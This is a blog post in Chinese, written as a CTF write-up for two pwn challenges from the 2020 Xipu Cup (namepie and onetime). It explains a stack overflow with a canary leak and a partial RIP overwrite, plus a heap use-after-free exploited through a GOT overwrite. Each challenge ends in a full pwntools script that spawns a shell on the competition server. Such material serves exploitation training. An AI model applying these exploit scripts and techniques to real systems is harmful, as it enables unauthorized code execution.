2020 西普杯 信息安全铁人三项 第四赛区 Writeup

原创

SkYe231_ 于 2020-11-09 08:50:59 发布 1393 收藏 3

分类专栏： 笔记

本文链接：https://blog.csdn.net/weixin_43921239/article/details/109568708

namepie

基本情况

程序有后门：

```
.text:0000000000000A71 sub_A71         proc near
.text:0000000000000A71 ; __unwind {
.text:0000000000000A71                 push    rbp
.text:0000000000000A72                 mov     rbp, rsp
.text:0000000000000A75                 lea     rdi, command    ; "/bin/sh"
.text:0000000000000A7C                 call    _system
.text:0000000000000A81                 nop
.text:0000000000000A82                 pop     rbp
.text:0000000000000A83                 retn
.text:0000000000000A83 ; } // starts at A71
.text:0000000000000A83 sub_A71         endp
```

漏洞

第二次输入栈溢出

```
1  ssize_t sub_9A0()
2  {
3    char s; // [rsp+0h] [rbp-30h]
4    unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5
6    v2 = __readfsqword(0x28u);
7    memset(&s, 0, 0x1EuLL);                       // 清空s 0x1e
8    puts("Input your Name:");
9    read(0, &s, 0x30uLL);
10   printf("hello %s: and what do your want to sey!\n", &s);
11   return read(0, &s, 0x60uLL);                  // 溢出
12 }
```

思路

pie 保护 partly write 绕过。

第一次输入泄露 canary，第二次覆盖 rip

EXP

```
from pwn import *
context(log_level='debug')
# p = process("./namepie")
p = remote("172.20.14.168",9999)
elf = ELF("./namepie")


p.recvuntil(":\n")
name = 'skye'.ljust(0x30-0x8+1,'a')
p.send(name)

p.recvuntil('skye'.ljust(0x30-0x8,'a'))
canary = u64(p.recv(8))-0x61
log.info("canary:"+hex(canary))

# gdb.attach(p)
payload = 'a'*0x28+p64(canary)+'a'*8+'\x71'
p.send(payload)

p.interactive()
```

onetime

基本情况

堆管理器，有增删查改功能，每个功能只能用一次，还有一个隐藏申请选项，也是只能用一次。

堆指针、每个功能使用标志位放在 bss 段。

堆申请大小固定 0x60 ，修改只能修改 0x40 ，但是隐藏申请选项能申请并写入 0x60 字节。

漏洞

free 函数 UAF ：

```
int sub_4008B7()
{
  int result; // eax

  free(chunk_ptr);                          // UAF
  result = puts("complete!");
  chunk_inuse = 0;                          // 还原可以继续使用申请功能
  free_inuse = 1;
  return result;
}
```

还有一点就是每个功能是否使用的判断条件，只要不等于 1 就能运行：

```
if ( xxxx_inuse == 1 )
```

思路

1. UAF 改 fastbin 中 fd 指针到 bss 段，用 bss 上 stdin 的值偏移 3 构造出 size 位 0x7f
2. 申请堆回来，然后用隐藏申请选项申请出 bss 段的堆，顺便写入 payload （edit 用过一次不能用），将各个标志位覆盖，chunk_ptr 覆盖 atoi@got
3. 泄露、修改函数地址

EXP

```python
from pwn import *
context(log_level='debug',arch='amd64')

p = process("./onetime")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./onetime")
p = remote("172.20.14.168",10001)
libc = ELF("./libc-2.23.so")



def add():
 p.recvuntil(">>\n")
 p.sendline('1')
def fill(content):
 p.recvuntil(">>\n")
 p.sendline('2')
 p.recvuntil("content:")
 p.send(content)
def show():
 p.recvuntil(">>\n")
 p.sendline("3")
def free():
 p.recvuntil(">>\n")
 p.sendline('4')
def hint(name):
 p.recvuntil(">>\n")
 p.sendline('5')
 p.recvuntil("name:")
 p.send(name)


add()
free()
fill(p64(0x60208d))
add()
payload = '\x00'*3+'a'*8+p64(elf.got['atoi'])+'a'*0x10#+'\x00'*8+p64(0xdeadbeef)
#payload += p64(elf.got['free']) + p64(0xdeadbeef)*2

hint(payload)
show()
p.recvuntil("data:")
atoi_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
# fill('b'*8)
fill(p64(system_addr))

# gdb.attach(p,'b *0x40092D')
p.send('sh')

p.interactive()
```